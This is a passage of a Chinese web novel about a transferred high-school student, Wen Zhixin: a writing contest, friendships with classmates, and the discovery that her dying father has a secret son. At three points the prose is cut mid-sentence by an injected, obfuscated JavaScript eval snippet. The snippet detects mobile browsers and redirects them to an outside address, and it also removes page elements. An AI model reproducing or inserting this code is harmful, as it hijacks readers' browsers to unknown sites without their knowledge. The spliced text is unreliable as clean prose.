“没关系为什么还删我联系方式?”郁锦程有些委屈,得知温知新转学后他第一时间想联系对方,结果Q|Q微信,甚至互关的音乐软件都被拉黑了。 温知新轻描淡写:“原来手机号注销了。” “所以你真的不讨厌我,或者说恨我?”郁锦程追问。 “当然。”温知新说,“我恨你干什么?和你又没关系。” 从云宁转到宜安的原因其实很简单。 那段时间云宁中学在树新风抓典型,结伴回家的温知新和郁锦程在校门口被就地正法,还是校长亲自抓的人。 第二天两人就被叫了家长。 时值温知新竞赛失利,温倩理所当然把这件事归到她早恋上,根本不听温知新的辩白。 “我没谈恋爱,我们只是一起回家——” “啪——”一声清脆的耳光声打断温知新的陈述,温倩用尽全身力气去打她,整个人都在抖。 温知新没什么反应,脸颊红肿,声音依旧平直冷淡,清脆的像冰块撞进玻璃杯,“我没谈恋爱,我没错。” 温倩指着她,“你还顶嘴。” 她还想打,被办公室的班主任和郁锦程家长拦住。 之后温知新被温倩绑回家,说转学手续办好之前不许再去学校,手机号被注销,重新办理了一张新的,除了方灿谁也没加。 因为温倩会在六月份调来宜安工作,所以她就将温知新也转来了这里。 一切都发生的兵荒马乱,等温知新反应过来的时候,脸颊已经不再火辣辣的疼了,她也已经到了宜安。 所以温知新也不知道到底该怪谁。 怪自己,不可能。 怪温倩,她又做不到。 但总归和郁锦程没关系,那天是因为温知新要去姥姥家,恰好和郁锦程顺路两个人才一起走,而在此之前他们根本没有多深的交集。 温知新转过身来,看着郁锦程又说了一次,“真的和你没关系,你别想太多。” 郁锦程看着温知新,意识到这已经她说过的第三遍这件事和他没关系。 那应该是真的无关。 郁锦程忽然想笑,笑自己的自作多情,以为自己能在温知新心里占据一个与众不同的地位。 “好好准备比赛吧。”温知新用矿泉水瓶底点了两下郁锦程的肩,“别想这些有的没的了。” 走廊上残存着余晖,温知新周身笼上一层浅淡橙黄,高马尾随着她的步伐摆出弧度。 宋嘉平一直躲在暗处,看着温知新渐行渐远的背影若有所思。 19. 月亮 除去听讲座和写文章,长源杯并不限制学生的自由活动。 宿舍里面四个人,都在做自己的事情,基本只有在晚上睡觉的时候才能碰面。 温知新和新朋友吃完饭回宿舍,看到赵彤和习静安在打游戏。 和她们打完招呼后,温知新先去洗了个澡,吹完头发出来,看见桌子上放着今天的成绩单。 长源杯一共有三轮比赛,每轮都规定不同的主题,三小时极速写稿。 下午刚交上去,晚上就会把成绩单送到宿舍,速度特别快。 几个小时要评五百份万字小说,温知新很怀疑评委组老师都是哪吒。 第四十六届长源杯赛,第二轮微小说成绩: 温知新95.7、排名1/500 温知新没再继续往下看,她只用知道自己是第一就足够。 想了想,还是没把成绩发给温倩,温知新怕她说自己不务正业,只肯在这种乱七八糟的事情上花心思。 距离熄灯还有一段时间,温知新把带来的复习册拿出来铺开在桌子上。 一个薄的知识点,江湖赐名小本;还有个厚的跟课习题册,江湖赐名大本。 出来四天,大本小本都要写十几页,温知新随便把头发一挽,提笔就干。 先写小本。 太简单的知识点不写; 背的滚瓜烂熟知识点不写; 密密麻麻全是总结性文字,空还给的特别小的也不写; 此时如此潇洒,等做题的时候就乖多了。 老老实实一道道看,一道道写。 掐着点完成了今天的任务,洗脸刷牙之后,刚好熄灯。 温知新没带多余的题,这几天跟休假似的到点儿就上床。 她睡上铺,爬梯子时往阳台瞥了一眼,发现舒格蹲在那里,肩膀耸动,好像在哭。 温知新挂在梯子上想了一分钟,重新下去,带上一包抽纸走向阳台。 她本来打算把抽纸放下就走的,因为舒格可能不想让别人看见自己哭的样子。 但温知新没想到舒格拉住了她。 温知新背对宿舍,反手关上阳台门,声音轻轻,有意缓和气氛,“舒格同学,我的睡裤要被你拽掉了。” 舒格松手,说话鼻音很重:“抱歉。” 温知新蹲下去,和她面对面,“擦擦眼泪吗?” 见舒格不动,她又说:“我给你擦?” 舒格把纸巾从温知新手里接过来,瓮声瓮气地说:“谢谢。” “不客气。”温知新说,“你等我一下,我马上回来。” 赵彤和习静安还在头对着头打游戏,见温知新进来,随口问了她一句怎么了? 温知新想了想,说:“今晚天气还不错,我和舒格打算赏一会儿月亮。” “今晚月亮很圆吗?”赵彤问。 温知新一边拿东西一边回答,“还行,挺圆的,跟月饼似的。” 赵彤和习静安笑起来,“文学大赛第一名的比喻能不能有美感一点。” “但确实很像月饼。”温知新答了一句,怀里抱着沉甸甸的一个大袋子打开阳台门,随后又关上。 舒格问:“这是什么?” 温知新挑眉不语,把袋子打开,是六瓶罐装果酒。 “虽然不知道你为什么会不开心,但是——”温知新拍拍酒瓶,“何以解忧,唯有杜康。” “我没喝过。”舒格拿起一罐,拉开拉环,试探性尝了一小口。 酒味不太重,更像是饮料。 舒格又喝了一口。 温知新静静地陪在她身边,跟着她一口一口喝。 谁都没有说话。 情绪重新蔓延,舒格忽然又掉下眼泪,流到嘴唇和酒精一起进了口腔。 舒格拿起面巾纸胡乱擦了一气,红着眼睛对温知新笑了一下,“不好意思,让你看笑话了,我不太想一个人待着。” “没关系,这有什么的。”温知新握着罐装啤酒,和舒格碰杯,轻声说:“如果人不可避免要痛苦,那希望每一次流泪都让你离幸福更进一步。” 舒格说:“这是病句吧?” 温知新满不在乎地笑了一下,喝了一大口酒,在月光下冲舒格眨眨眼睛,声音轻轻:“但很金句。” 温知新不问舒格为什么哭泣,只是把全部的酒都摆了出来。 小声和她说:“明天的讲座不点名不签到,所以如果真的喝醉了起不来也没关系,别害怕,有我陪你。” 舒格看着温知新,突然就明白了为什么她才转来一个月,就这么受欢迎。 她像四月初春的小雨,关心都是润物细无声的,喜欢她简直太理所应当。 舒格没说自己为什么流泪,温知新也什么没问,两个人真的看了一整晚月亮。 没有喝完酒,她们第二天也没有逃课,而是躲在最后一排补觉。 那晚仿佛只是钢琴走调的一个小音符,在整段旋律中并不起眼。 周四上午,长源杯比赛正式结束。 共设立金银铜三个奖项,金奖一人,银奖三人,铜奖六人。 温知新凭借两次第一和一次第二,没什么悬念地拿下了金奖。 主办方很有仪式感在颁发金奖时撒下漫天金色纸片。 温知新站在聚光灯下,手里捧着奖杯,抬头看着这璀璨的一幕。 带教老师蹲在观众席最前排,疯狂按下快门。 相机屏幕里的女孩穿着简单的白T牛仔裤,扎着高高的马尾,抬头微笑的弧度刚好,带着这个年纪独有的,敢睥睨天下的姿态。 金银铜奖都颁完之后,下面的时间该领导讲话以及感谢主办方了。 温知新弯着腰溜到最后一排,坐到了舒格旁边。 舒格拿的是银奖,没有奖杯,只有证书。 她问温知新:“我可以看看你的奖杯吗?知新。” 温知新立刻把手里的奖杯递给她。 舒格轻轻摸着奖杯,突然说:“全国性赛事拿了第一也是可以上荣誉榜的。” 她看向温知新,“恭喜你,本来以为榜上只会有祁昂一个人呢,现在是你们两个要分庭抗礼了,也不知道我有没有机会能上一次荣誉榜。” 温知新看着舒格的眼睛,毫不犹豫地回答她:“有,当然有。” “谢谢。”舒格抿出一个微笑来,把奖杯还给了温知新。 全部流程结束后,大巴车直接把学生拉到了各自学校,路上温知新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15091638|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕舒格再晕车难受,给了她一粒晕车药和几颗酸糖。 因为比赛不禁止用手机,所以温知新每晚都会和几个朋友聊天,姜寐就像自己亲自参加长源杯一样,对哪个学校去了哪个帅哥美女了如指掌。 等温知新回来之后,立刻拉着她问八卦的具体细节。 许妄也是第一时间知道了比赛成绩,还动手能力很强地画了两张应援海报,一张给温知新,一张给舒格。 海报上的温知新扎着高马尾,只是杵在脑袋上仿佛炸开的喷泉。 温知新笑的前仰后合,“谢谢你,神笔许良。” 相比之下,身为温知新同桌的祁昂同学就十分淡定,丝毫不受影响地坐在位置上,整理试卷写错题。 温知新从热闹里脱身,走回座位,边找书边和祁昂说话:“你看到我的大奖杯没有?” “看到了。” “怎么样?” “很大。” 温知新:“……”她是在问奖杯吗? 温知新先对着课表把书全都翻了出来,接着就栽倒在课桌上。 不知道哪个理想主义的领导安排的返校行程。 上午八点开始颁奖典礼,拖泥带水搞了四个小时,中间留半小时吃饭时间,随后立刻马不停蹄往各个学校赶。 午休时间是在大巴车上度过的。 到学校之后就要开始上课,一点休息时间都没给学生们。 温知新困得不行,几乎趴桌子上就睡了过去。 半睡半醒间,听见祁昂在和赵姐说话,“她刚回来……特别累……嗯,我知道了。” 总之下午第一节的空白自习温知新睡得很香。 下课铃响,她起身,眼睛还没睁开,先抱着水杯猛吸了好几口水。 当温热的液体滑过喉咙时,温知新突然意识到一件事情。 她出去这四天根本没带水杯,这里面的水是怎么回事? “没毒,死不了。”祁昂没什么起伏的声音飘过来。 和教室里的冷气相得益彰。 温知新就明白这里面的水是祁昂接的,又喝了一口后说:“谢谢。” “问也不问就直接喝,真是四天前的水你就等死吧。”祁昂没看她,一边整理试卷一边说。 温知新看得很开:“不会死,顶多拉肚子,就算是真死了也没什么大不了的。” “啪——” 卷成筒的试卷被祁昂握在手里,轻轻敲在温知新的脑袋上。 “刚回来就打我。”温知新捂着脑袋瞥他。 祁昂把试卷筒抛到她桌子上,“这几天留的卷子。” “几张啊?”温知新随口问,没等祁昂回答,自己先数出来了,“十六张,我要几天写完?” 祁昂点点卷头,示意她看上面的特殊标记,有的上面画着一个小小的对号,“这七张已经讲完,剩下的九张要在明天下午之前写完。” 温知新哀嚎一声,把脑袋埋在雪白的试卷里。 祁昂没管她,只是把自己已经订正过的试卷放到了她的书堆上。 “别弄丢。” “知道——” “今晚周测。” “……知道了。” 写死她算了。 20. 相处 荣誉榜更新速度很快,下午第二节课的课间温知新第二张照片上墙。 照片下方的小字写着:“第四十六届长源杯文学大赛金奖”。 两张一模一样的六寸照片并排贴在一起,同样意气风发的高马尾,同样乖巧的笑容,宣告着宜安一中将出现一个新的传奇。 这是许妄同学的原话。 “……”即使已经转学一个多月,温知新仍然无法适应许妄的中二。 她问祁昂,“许妄一直这样吗?” 祁昂在看科技大赛的作品,一心二用回答温知新:“哪样?” “给人起一些很大的外号。”温知新说。 “比如?” “多了去了。”温知新掰着手指数。 据不完全统计,从上个月区联考至今,她已经收获了“新王”、“新帝”、“革命者”、“传说”、“传奇”等一系列听了就想让人找个地缝钻进去的称号。 祁昂很模糊地笑了一声。 “他给你起过这种外号吗?”温知新问。 “没有。”祁昂说。 温知新不信。 她觉得许妄不会放过任何一个人。 下节课的课间,温知新立马去求证,然后抱着一箩筐更中二的外号回来了。 如数家珍地念给祁昂听:“无敌战神、冷面罗刹、闷葫芦、枪神,旧王……还有手下败将,这个我不是很明白,你是谁的手下败将啊?” 祁昂停下手中的笔,黑檀一般的眼睛看着温知新。 温知新愣了片刻,弯着眼睛笑起来,“噢,原来是我的手下败将。” 祁昂弹了下她的额头,声音清冽:“温知新,你没完了。” 温知新身体力行表示没完,“你更喜欢哪个外号?” 祁昂低下头去写题,说:“都不喜欢。” 温知新还想说什么,却被一声“学姐”打断,她抬头,看见宋嘉平从门框外探进来半张脸,顶着他那头卷发,大眼睛眨巴眨巴。 “学姐,有事情找你,能出来一下吗?” “好。” 室外很热,温知新站在阴影里,问:“怎么了嘉平?” 宋嘉平把一叠照片递给她,“这是长源杯比赛的照片,孙老师让我来给选手们各送一份。” 孙老师就是比赛时的带教老师,主要负责学校校媒体运营,包括校报广播等。 温知新说:“谢谢,直接放校媒办公室我自己去拿就好了,这么热的天还麻烦你跑一趟。” “没事。”宋嘉平笑,“另一位学姐的照片也在里面,我一起拿过来了。” “好,我回去转交给她,还有什么事情吗?” 宋嘉平没说话,眼睛一直盯着温知新,没有要离开的意思。 没等到宋嘉平回答,温知新便说:“没事的话我就回班了,你也快回去吧,外面太热了。” “好,学姐再见。” 温知新摆摆手,推门回去。 宋嘉平隔着玻璃看她绕过讲台把其中一份照片交给了另外一位学姐,中间第三排一个女生分给她两颗话梅。 回到座位之后,她把纸袋里的照片都倒了出来,一张张看过去,她…… 视线被遮住了。 祁昂坐直的身体前倾,完全挡住温知新的侧影,他抬眼,和窗外的宋嘉平对视。 仿佛什么也没看到似的,连半秒都没有就收回视线。 只是一直保持着前倾的姿势。 温知新把所有照片都过了一遍之后重新将其装回纸袋,一瞥,发现祁昂的头都快埋进课本里了。 作为轻度近视的受害者,温知新不忍心再让一个年轻的生命被眼镜禁锢住,于是她不轻不重地打了下祁昂的背。 祁昂冷脸看她,“理由。” 温知新说:“坐姿不对会近视的。” “你瞎了我都不会近视。” “……”气的温知新又打他一拳。 祁昂扫了一眼窗外,那里已经没有人了。 他坐直身子,还了温知新一个脑瓜崩。 “别人都说你是冰山男神,高岭之花。”温知新说,“谁家好冰山动不动就弹人脑瓜崩。” 祁昂保持着身体距课桌一拳,眼睛离书本一尺的标准坐姿,右手握着笔在写字,空出来的左手精准无误地又弹了一下温知新。 温知新垂眸盯着那只骨节修长的手,之前欣赏的心情荡然无存,现在她只想狠狠咬上一口。 急促又响亮的上课铃声阻止了一场君子动手又动口的战争。 下午的课表是英物物物。 全部上完之后,温知新感觉自己小命丢了半条,急需去食堂补充血条。 她一直和姜寐一起吃饭,但今天姜寐和傅云星请了事假回家,巧的是许妄也因为和外班约篮球赛而不去食堂。 于是温知新和祁昂在一张空桌子前相遇了。 “你要坐这里吗?”温知新问。 祁昂说:“这里写你的名字了?” “……”温知新想,如果不是她饿了,她真的会把这份饭扬祁昂脸上。 她买了三份荤菜外加六两米饭,全都堆在餐盘里好像一座小山。 吃了三分钟,温知新发觉祁昂一直频频往自己这里看。 礼尚往来,她也看。 先看见的是祁昂餐盘里的两道素菜,一道手撕包菜,一道清炒西兰花,份量少到她感觉自己三口就能吃完。 “你就吃这些,吃得饱吗?”温知新问。 祁昂说:“吃不饱。” 温知新此刻倒是很有打破砂锅问到底的精神,追问:“吃不饱为什么不多买一点?” “吃不惯。” “在一中待了两年还吃不惯吗?” 祁昂抬眼,“你有意见?” 温知新说:“我没有,我只是好奇,都说21天养成习惯,你这都很多个21天了,居然还会不习惯吗?” 祁昂放下筷子,解释道:“我不吃猪羊鸡和鱼,也不吃胡萝卜茄子芹菜,葱姜蒜一点都不能碰,食堂基本没有我能吃的东西,就算是能吃的也很难吃,所以我一般只吃一点,如果饿了回家再煮宵夜,这样的理由可以吗?” 温知新握着筷子,定格似的望着祁昂,感慨道:“祁昂,原来你一口气说这么多字不会死。” “……” 她感受到了,祁昂也想把饭扬她脸上。 “你这么挑食。”温知新说,“平时在家怎么吃?单独给你做一份还是都和你吃一样的?” “你话越来越多了,温知新。”祁昂评价。 “是啊,要是两个人都话少,坐一起会憋死的。”温知新看着他,很有道理地说。 祁昂看着她,很短促地笑了一声,解释道:“家里有做饭的阿姨,会照顾到每个人的口味。” “噢,这样。” 等温知新吃完饭,祁昂从口袋里拿出一小包纸巾递给她,说:“你嘴角有点脏。” “哪里?”温知新抽出一张来,绕着自己的嘴唇擦了一圈,“好了吗?” 祁昂摇摇头,点了点他自己的下巴。 温知新就照猫画虎去擦自己的下巴。 祁昂又点鼻尖。 温知新就去擦自己鼻尖。 然后是嘴角左边,嘴角右边…… 直到祁昂点了点自己的眼下,温知新才意识到自己被耍着玩了。 她把剩下的纸巾砸到祁昂怀里,“幼稚死了,祁昂。” 祁昂看着她,轻笑。 – 晚修周测。 照例语数英物化生六科大全套,写完就交,交了就走。 看似自由度很高,实际竞争力拉满。 每个人都不想做最后一个交卷的人,整间教室只能听到笔尖摩擦纸张的声音。 温知新已经不是第一次参加这种周测,那股新奇劲儿早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098781|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就被一张张试卷磨没了。 语文、数学、英语、物理、化学、生物。 按照顺序一科一科写过去,在写完最后一句“PEG诱导原生质体融合”后,她撂下笔,起身去交试卷。 祁昂紧随其后。 他俩以绝对速度领先班里其余三十三人,背上书包,前后走出教室。 高高瘦瘦的两个人,单肩背着书包,头也不回地离开。 许妄目睹全程,指尖转着笔吐槽,“可让他俩装够了。” 说完唰唰几笔签好自己的名字,也交上了试卷。 他把书包往背上一甩,迈着不着调的步子往门口走,刚好碰到赵言心来班里。 两人打了个照面,许妄面上笑着说老师好,实际心道不好,赶快跑。 然而还没等他跑起来,赵言心的声音就砸了过去,“许妄,回来。” “……”许妄立刻刹住步子。 温知新和祁昂还没走远,闻声也回头,正好看到许妄恨恨望过来的表情。 温知新特别欠地将左手比成枪支的模样,食指中指并拢,轻点额角,向许妄致意。 祁昂则站在温知新身旁,单手插兜,眼底有促狭的笑意。 “……”说中二到底谁中二。 许妄觉得这两个人不比自己好多少。 “你俩少装。”许妄把书包扔过去。 祁昂往前一步,站在温知新前面,稳稳接住那疑似只装了两张试卷的书包。 “等我一起走。”许妄进教室前丢下这么一句话。 温知新和祁昂对视,脚尖一转,都倚在栏杆上,吹着晚风,听许妄嘿嘿笑着和赵姐赔不是。 “你还记得我转学过来之后的第一次周测吗?”温知新问。 祁昂说:“怎么?” “那次你是第一个写完交试卷的,从讲台往回走的时候还挑衅地看了我一眼,你不记得了?” “我没挑衅过你。”祁昂仔细回忆,“我应该只是看了你一眼。” “哎。”温知新抓到逻辑漏洞,“那时候你可讨厌我了,恨不得把我当空气忽略,怎么会无缘无故看我一眼,不是挑衅是什么?” 祁昂偏头,对上温知新无比肯定的目光,无奈地笑了一下。 他要怎么说。 他真的不记得自己有过多少次无意识地将目光放在温知新身上。 但可以肯定的一点是,绝对没有挑衅。 可温知新不信,她盯着祁昂,好像要把他看穿。 走廊的声控灯已经灭掉,在远离教室的这里,唯有月光。 她眼睛居然这么亮,祁昂移开目光前脑中只剩下这一个念头。 班里同学们都在做题,此刻的五楼格外安静,风声、树叶沙沙声和高一学生放学的喧闹声都远在他们之外。 “温知新,我……” “我写好了!我们走吧。”许妄突然闪现,空气一下子又开始流动。 祁昂咽下那半句话,把许妄的书包还给他。 “哎,我说阿祁,你要在书香别苑住多久啊?”许妄说,他都记不清上次和祁昂一起回家是几月几号了。 祁昂看了一眼温知新,轻描淡写说:“毕业吧。” “那我岂不是天天都要自己回家了。”许妄趴在祁昂肩上装哭,“祁世美,你好狠的心。” 祁昂拉开他,淡淡道:“你再不走,就等不到五班的体委了。” “啊。”许妄害羞地怪叫,“你怎么知道的?那我先走啦,明天见两位。” 又剩下他们两个,边下楼梯,温知新边问:“刚刚许妄出来之前,你想说什么?” “关于你说我挑衅你的解释。” 祁昂微微仰头,看着台阶上的温知新,声音不疾不缓,“可能我没什么信用度,但这次相信我吧,温知新。” 温知新轻挑眉尖,点头说:“好的。” 看在你今天这么帅的份上。 21. 周五 “明天我不和你一起回家了。”祁昂说。 在温知新家的单元楼下,借着微弱的灯光,祁昂轻声解释,“江虞有个科技大赛,我去帮同学盯一下,周一回来。” 温知新问:“那天来找你的那个漂亮女生?” 祁昂点头:“国际部凌冉。” “知道了,你可以给我拍点机器人吗?会互动的那种。”温知新抱着书包,兴趣盎然。 祁昂抬起食指,戳了一下温知新的额头,清寒的声音落下来,“温知新,我去的是青少年科技创新大赛,机器人能完整走一圈都需要老天保佑。” “好吧,那希望老天保佑你。”温知新笑一下,“我上去啦,拜拜。” 祁昂注视着温知新的背影消失在电梯里。 其实祁昂在或者不在,对温知新来说没什么区别。 反正平时齐老师让同桌讨论的时候,祁大少爷也难得纡尊降贵说一句十五字以上的话。 中午吃饭的时候,姜寐吐槽:“许妄也去这个科技比赛,昨天和我们打游戏的时候得瑟一晚上。” “参加这个比赛很重要吗?”温知新不太懂。 “自主招生或者申国外大学有用。”姜寐说,“许妄单纯靠竞赛或者高考成绩上不了江大。” “奥,原来这样。”温知新一知半解地点点头。 云宁是个小地方,温知新能接触到的比赛有些少,而且多数情况下温倩也不会同意她去。 以至于到了宜安,温知新才知道原来外面的世界有许多令人眼花缭乱的赛事,这个杯那个杯的,围起来足够绕地球十几圈。 吃过饭,三人从食堂出来,高高的台阶上全是上上下下的学生。 姜寐用手扇风,和温知新说:“这么热,你和我们一起坐车回家吧。” 周五下午开始放假,车子在车棚里放两天也没事。 温知新立刻点头,快快乐乐地和姜寐傅云星一起往学校大门走。 这会儿学校附近哪里都是人,大家挤在燥热的空气里,喧闹的人声比蝉鸣还大。 忽然一道穿云裂石的声音压过周围所有,直直劈下来。 “温知新!” 一个穿着巨大品牌logoT恤的人男生怒气冲冲跑过来,吸引了在场所有人的目光。 “你居然躲来了这里。” 温知新一头雾水,她问:“你是谁?” 男生吃惊,“你居然不知道我是谁?” “我为什么要知道你是谁?我都没见过你。”温知新纳闷。 “我是钟德曜,钟林的儿子,你亲爸的亲儿子。” 一句话,两个人,三段关系。 温知新完全愣在原地。 别说她了,就是离他们近的人也全都停下了脚步。 姜寐拍一下傅云星的背,两个人分别站到温知新左右两侧,帮她挡住投来的目光。 “什么意思?”能考700分的人,此刻脑子却像锈住了一样,完全转不起来。 钟德曜“呵呵”笑了两声,重复她的话,“什么意思?你说什么意思?你不知道你爸还有个儿子吗?” 她知道什么? 她知道温倩和钟林因为感情不和离婚;她知道钟林无缝衔接立刻娶了周思敏;她知道钟林净身出户,除了画馆什么都没要。 她还能知道什么? 知道眼前这个满身潮牌logo都压不住痞气的男生吗? “你看,你什么都不知道,你都不知道你亲爸快死了,一次也没去看过他,他居然还要把遗产都留给你!凭什么!” “谁快要死了?” “钟林,就在宜安脑科医院,你不信可以去看。” 一个比一个惊人的消息像炮弹一样炸在温知新耳边。 周围人很多,打量的目光对准她,高高举起来的手机摄像头也拍向她。 烈日炎炎之下,后背都浸出了一层汗,但温知新却感受不到丝毫的热。 很不可思议的是,相比钟林有个私生子,以及他快死了还把遗产留给了自己这两个需要时间来消化的消息,温知新此时此刻想的只是该说些什么,可以让自己完美退场。 “首先,我不认识你,你是我爸的私生子还是公生子我都不认识你,财产分配问你爸去,别来冲我撒气。 “其次,就算钟林真的死了,你放心,该我拿的钱我一分都不会让。” 话音刚落,不知道从哪里传来一阵叫好声,“学妹牛!” 钟德曜气的脸都绿了,举着拳头就要来揍人。 姜寐立刻握住温知新飞奔,在人与人隔出的空道里狂奔,在绿色的海洋里,她和她是唯二跳跃的,流通的水滴。 钟德曜想追,却被傅云星拦住。 他不动手,只是沉默地站着,像一堵墙,让钟德曜只能站在原地干瞪眼。 温知新和姜寐上了车,等傅云星脱身坐进副驾后,姜寐立刻让司机开了车。 车里冷气很足,姜寐握着温知新的手掌是暖的。 说话的声音也是暖的,“别怕。” 温知新摇头。 她没怕。 她只是觉得莫名其妙。 她爸莫名其妙有了一个新儿子,还莫名其妙地病重,又莫名其妙地要把遗产留给她。 太戏剧了,她不信这是真的。 温知新立刻拨通温倩电话,第一次没等对面说话就开口,“妈妈,爸爸是还有一个和我差不多大的孩子吗?以及他要把遗产留给我这件事你知道吗?” 温倩沉默了很久,久到车已经开进书香别苑才开口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101815|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有承认,没有否认,只是问:“他说要把遗产都留给你?签字了吗?” 温知新立刻明白,是真的,全都是真的。 私生子是真的,快死了是真的,要把遗产留给她也是真的。 “我知道了,谢谢妈妈。” 温知新挂断电话眼泪就掉下来。 她起初以为温倩和钟林离婚是只是因为性格不合,但仍然在意着对方。 可钟林迅速再婚,让她明白其实他们就是不爱了。 她因此开始讨厌钟林,却仍然觉得在这段婚姻的存续期间,他是个好丈夫,好爸爸。 但今天她又知道了这位所谓的好丈夫好爸爸在外居然还有个孩子。 她应该更恨他了,但他要死了。 温知新掌心遮住眼睛,压抑的哭声从指缝里露出来。 姜寐倾身抱住她。 温知新一下子好像找到了发泄的出口,她紧紧抱住姜寐,眼泪砸下来。 不知道哭了多久,温知新终于平复心情,擦干眼泪。 姜寐问:“要不要去我家玩一会儿?” 温知新摇摇头,“我想自己待一会儿。” “好,有事给我打电话,我和傅云星一直在。” 被点名的傅云星从副驾驶位回头,很重地点了一下头。 “知道,我回家了,周一见。” “周一见。” 温知新背影伶仃单薄,甩在身后的高马尾好像也没了往日的生机勃勃。 姜寐坐在车里,看见她又用手背擦了好几下眼睛。 温知新回到家,把书包一甩,人摔到床上摊开,眼睛无声留着泪。 口袋里的手机一直在滴滴滴响。 温知新拿起来看了一眼,一条是温倩发来的,她说过几天会回宜安一趟,亲口把这件讲给她听。 一条是姜寐发来的语音,拉着傅云星说了好多安慰她的话。 剩下六条都是祁昂,他发来了好多机器人照片,外加一句话和一段语音。 【没有会互动的机器人,但有可以说话的】 按下语音条。 先传出来的是祁昂的声音,一如既往的清冽,“温知新,你好”。 接着是很标准的机器人的声音,带着电流的“温知新,你好”。 –温知新,你好。 温知新手臂横在眼睛上,终于放声大哭。 直到哭累了,她才坐起来,去卫生间用凉水洗了把脸,坐到书桌前,铺开数学试卷,抽出草稿纸,开始写题。 一滴又一滴的水从脸颊滑下来洇开在试卷上,模糊掉她的笔迹。 温知新好像没看到,继续求解圆锥曲线,继续求导,继续在用洛必达。 像每一个周五的下午一样。 22. 真相 七岁的温知新在生日那天拥有了一只比自己高出一个人身的毛绒熊。 钟林把它藏在轿车后座,保证小小的温知新可以在放学之后第一时间见到这只大熊。 以往都是钟林为自己打开车门的,但是今天没有,温知新有些疑惑,仰着头看钟林,童声稚气地问:“爸爸,今天怎么没有给我开门?” 钟林笑着站在一旁,静静等待着温知新自己打开后座的车门。 “好吧。” 温知新垫脚,尝试自己打开车门。 有些费力,但是最后还是成功了。 她先是很骄傲地让钟林看,随后才瞧见里面的那只巨大无比的熊。 毛绒熊圆圆的眼睛与温知新圆圆的眼睛对视上的瞬间,温知新惊喜地叫出声。 “爸爸!是大熊!” “温温喜欢吗?” “喜欢!是送给我的吗?”温知新上车,兴奋地在毛绒熊的脑袋上摸来摸去。 “是的,它来祝你七岁生日快乐。”钟林笑,“妈妈已经到餐厅了,我们现在去找她。” 餐厅是星空主题的,坐在里面好像置身银河。 因为温知新不喜欢吃甜的,所以生日蛋糕就换成了大汉堡。 薯条上粘番茄酱算作蜡烛。 在点点星光下,温知新双手合十许愿,十秒后睁眼,对面的温倩笑意盈盈地看着她,食指与中指之间夹着三张门票。 “这是什么?”温知新问。 温倩把票递给她,“自己看。” “哇,音乐会的门票!”温知新笑得见牙不见眼,“谢谢妈妈!” “哎呀呀。”钟林假装伤心,“小温温这就把大熊忘了。” 温知新忙说:“没有没有,谢谢爸爸!” 三个人笑作一团。 吃过饭,又听完了音乐会,钟林开车,温倩坐副驾,温知新和毛绒熊并排坐在后座。 温知新特别开心,枕着毛绒熊问:“我今天特别开心,我可以天天过生日吗?” 钟林和温倩透过后视镜看她,一起笑起来。 “也许不能每天都过生日,但是爸爸妈妈保证,会让你每天都像今天这么开心的。” “好耶!”温知新举起双手双脚,“爸爸妈妈万岁!” 温知新被闹钟的白噪音吵醒,她足足愣了两分钟,才从梦里挣脱出来。 她已经十七岁了。 十七岁的温知新已经学会自己做早饭,煮了一碗清汤面,煎了两个鸡蛋。 吃完洗碗刷题。 她一整天没看手机,接到温倩电话时才回神。 “宝贝,我在小区门口。”温倩默了一下,“接你去见你爸,今天咱们把事情都说开。” 温知新说:“好。” 她把头发扎成花苞头,换了一件不出错的灰色无袖连帽衫,随便拿了一条同色的短裤,穿上鞋就出门。 进电梯时才想起自己忘记拿东西,又风风火火地回家,一来一回耽误了十几分钟,坐上出租车时,能明显感到温倩不太高兴。 “动作有点儿慢了。”温倩说。 温知新把反驳的话吞回肚子里,只说:“知道了,我下回会快一点儿的。” “嗯。” 从书香别苑到宜安脑科医院要四十分钟,温知新盯着自己的脚尖,忽然又想到昨晚的梦。 那件事是真的发生过吗? 她真的拥有过一只巨大的毛绒熊吗? 不记得了,有过也不记得了。 出租车停在医院门口,温知新等温倩付过钱后,两个人一起往里走。 很浓重的消毒水味道霎时充盈鼻腔,温知新不自觉皱了皱眉。 电梯停在顶楼,这层人很少,很安静,都是VIP病房。 客厅盥洗室小型餐厅一应俱全。 温知新和温倩推门进去的时候,钟林正坐在沙发上看电视,穿着蓝色条纹病号服,看起来精神状态还不错。 “你们怎么来了?”钟林惊讶,连忙暂停电视节目。 温知新对钟林没有那么客气,直言:“昨天你儿子找到我的学校大闹了一场,说你快死了还把所有遗产都给我了,我来看看到底怎么回事?” 